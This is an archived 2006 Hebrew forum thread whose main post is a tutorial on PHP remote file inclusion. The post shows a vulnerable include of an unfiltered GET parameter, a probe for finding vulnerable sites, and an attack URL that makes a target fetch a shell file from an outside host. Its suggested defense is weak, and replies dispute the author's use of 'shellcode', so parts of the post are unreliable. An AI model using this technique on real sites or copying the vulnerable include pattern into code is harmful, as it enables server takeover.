Logo

רד-בורד: ארכיון

ראשי > אבטחת מידע > PHP Injection

09/06/2006 20:54:38 Pr0T3cT10n
הזרקת PHP.
תוכן:
1.על מה ההתקפה מתבססת?
2.איך נזהה אתר פגיע?
3.דרכים להתקפה
4.דרכים להגנה

על מה ההתקפה מתבססת?
אז ככה זה הולך..ההתקפה מתבצעתעל אתרים שעושים שימוש בקוד(שפת PHP)שהוא לא מוגן בפונקציות של Require ושל Include.
הפונקציות הנ"ל מקבלות נתיב של קובץ מסויים, ומיבאות אותו לדף ה PHP שבו רשום הקוד של הייבוא, ז"א שאיפה שיהיה רשום הפונקציות שמיבאות בדף ה PHP שלך, שם יהיה רשום מה שהפונקצייה קיבלה.
השימוש בפונקציות אלו מתבצע כך:
קוד:
Require ($file_path);
Include ($file_path);

השוני, ההבדל בין הפונקציות האלו ש Include תמשיך להריץ את התוכנים גם אם תיהיה שגיאה.
ואילו Require תפסיק את התוכנים אם תקבל שגיאה.
מה הבעיה עכשיו?
הבעיה היא שכאשר מיבאים קובץ PHP לקובץ אחר כשה שניהם נמצאים על אותו שרת הקובץ מיובא לקובץ שהריץ את הפונקציה והקוד PHP יורץ על השרת.
ככה:
קוד:
Include (main.php);

לעומתץ זאת, אם אנחנו ננסה לייבא קובץ משרת אחר, הקוד לא יורץ על השרת.
כך:
קוד:
Include (http://www.example.com/index.php);


אתר בעייתי:

הרבה מאוד אתרים משתמשים בפונקציות שרשמתי כאן, בלי ידיעה על הבעיתיות בהם.
לדוגמא:
קוד:
http://www.example.com/index.php?page=main.php

וזה מה שיהיה רשום בתוך הקובץ PHP:
קוד:
Include ($_GET[page]);

תוקף שמבין קצת בזה, יכול לשנות את הפרמטר לכתובת ששיכת לו, ולהריץ קובץ בסיומת שונה משל PHP עם פקודות זדוניות של PHP, לדוגמא, שאלל קוד(ShellCode).
איך נזהה אתר שהוא פגיע?
ניתן לזהות אתר פגיע על ידי זיהו הפרמטרים שנשלחים בכתובת
לדוגמא:
קוד:
http://www.example.com/index.php?page=main.php

אם ניקח את הכתובת של האתר ונשנה לה קצת משם?
לדוגמא:
קוד:
http://www.example.com/index.php?page=http://www.google.com

אם הדף של האתר יציג את גוגל איפה שהו, סימן שהאתר פגיע.

דרכי התקפה:

כבר מכל מה שרשמתי פה, אפשר לזהות אתר פגיע.
נוכל לכתוב כל קוד PHP שאנו רוצים, החל מקוד פשוט, ועד לקוד שנותן גישת SHELL מלאה.
הטריק בהתקפה הוא שנעלה את הקובץ PHP לשרת מסויים, אבל!, שימו לב, לא בסיומת של PHP אלא בסיומת אחרת כגון
jpg
txt
doc
ולהלן אני אראה לכם פה דוגמא:
קוד:
http://www.example.com/index.php?page=http://www.somehost.com/shell.txt

ואם האתר פגיע, והרצתם שאלל קוד, תוכלו לקב גישה כמעט מלאה לשרת.

דרכי הגנה.

כמו כן, ישנן מספר דרכים לחסום את הפרצה, אני לא אפרט אותן, אבל אני אדגים:
קוד:
$Path= ’http://www.example.com/’.$_GET[page];
Require ($Path);

רק תזכרו, המדריך ללמידה בלבד.
10/06/2006 05:43:47 dracula
http://www.underwar.co.il/download.asp?ID=298
11/06/2006 00:21:49 Ghost
נחמד לראות את המסמך שלי עם כל מיני שינויים כיד הדימיון הטובה :-).
הבחור פשוט אידיוט, ואני לא מבין איך עדיין הוא לא חסום...

ד"א אין קשר לשאלל קוד, וחבל שאתה סתם מפרש דברים לא נכון ויוצא מפגר.
11/06/2006 00:49:12 Trancer
ציטוט:ד"א אין קשר לשאלל קוד, וחבל שאתה סתם מפרש דברים לא נכון ויוצא מפגר.
אמת.


נעול.
עמודים: 1